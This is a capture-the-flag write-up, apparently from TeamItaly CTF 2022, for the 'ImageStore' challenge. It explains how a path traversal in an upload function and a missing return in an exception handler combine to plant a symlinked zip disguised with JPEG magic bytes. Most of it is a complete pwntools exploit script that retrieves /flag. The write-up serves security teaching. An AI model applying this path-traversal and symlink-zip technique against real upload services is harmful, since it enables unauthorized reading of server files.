Tags: misc 

Rating:

# TeamItaly CTF 2022

## ImageStore (10 solves)

I keep too many photos of pizzas on my computer and my drive is almost full.
Unfortunately I can't simply upload them to Google Photos because I don't like public cloud.
So I decided to write my own CLI service to store all my images!

Can you read `/flag`?

This is a remote challenge, you can connect to the service with:

`nc imagestore.challs.teamitaly.eu 15000`

Tip: to input a line longer than 4095 characters on your terminal, run `stty -icanon; nc imagestore.challs.teamitaly.eu 15000`.

### Solution

The goal is to place a symlink to `/flag` in the uploads folder.
There's a check against that in function 4, but we notice that there's a missing `return` instruction on an exception handler, so we can call `unzip` on an inexistent path, `/tmp/images.zip`, and it will try to open `/tmp/images.zip.zip`.
We just need to place our payload on that location, and to do that we abuse function 1, which has a path traversal bug.
We upload a zipfile with JPEG Magic Bytes at the beginning, containing the symlink.
We call it `../../tmp/images.zip.zip` so it gets placed in the right place, and then we call function 4 with an invalid base64.
Our payload gets extracted, and then we can download the flag with function 2.

### Exploit

```python
import os
import subprocess
from pwn import *

JPEG_MAGIC_BYTES = b'\xff\xd8\xff\xdb'

HOST = os.environ.get("HOST", "imagestore.challs.teamitaly.eu")
PORT = int(os.environ.get("PORT", 15000))

conn = remote(HOST, PORT)

conn.recvuntil(b'> ')
conn.send(b'1\n') # upload an image

initial_path = os.getcwd()
os.chdir('/tmp')

try:
os.remove('file.zip')
os.remove('flag')
except:
pass

subprocess.run(['ln', '-s', '/flag', 'flag'])
subprocess.run(['zip', '--symlinks', 'file.zip', 'flag'])

with open('file.zip', 'rb') as zipfile:
content = zipfile.read()

os.remove('file.zip')
os.remove('flag')

os.chdir(initial_path)

payload = b64e(JPEG_MAGIC_BYTES + content).encode()

conn.recvuntil(b': ') # image name
conn.send(b'../../tmp/images.zip.zip\n')

conn.recvuntil(b': ') # image payload
conn.send(payload + b'\n')

conn.recvuntil(b'> ')
conn.send(b'4\n') # upload multiple images

conn.recvuntil(b': ') # zip payload
conn.send(b'/\n') # invalid base64

conn.recvuntil(b'> ')
conn.send(b'2\n') # download an image

conn.recvuntil(b'> ')
conn.send(b'0\n') # flag
conn.recvuntil(b'\n')

flag = b64d(conn.recvuntil(b'\n')).decode()

conn.close()

# Print the flag to stdout
print(flag)
```

Original writeup (https://github.com/TeamItaly/TeamItalyCTF-2022/blob/master/ImageStore2/README.md).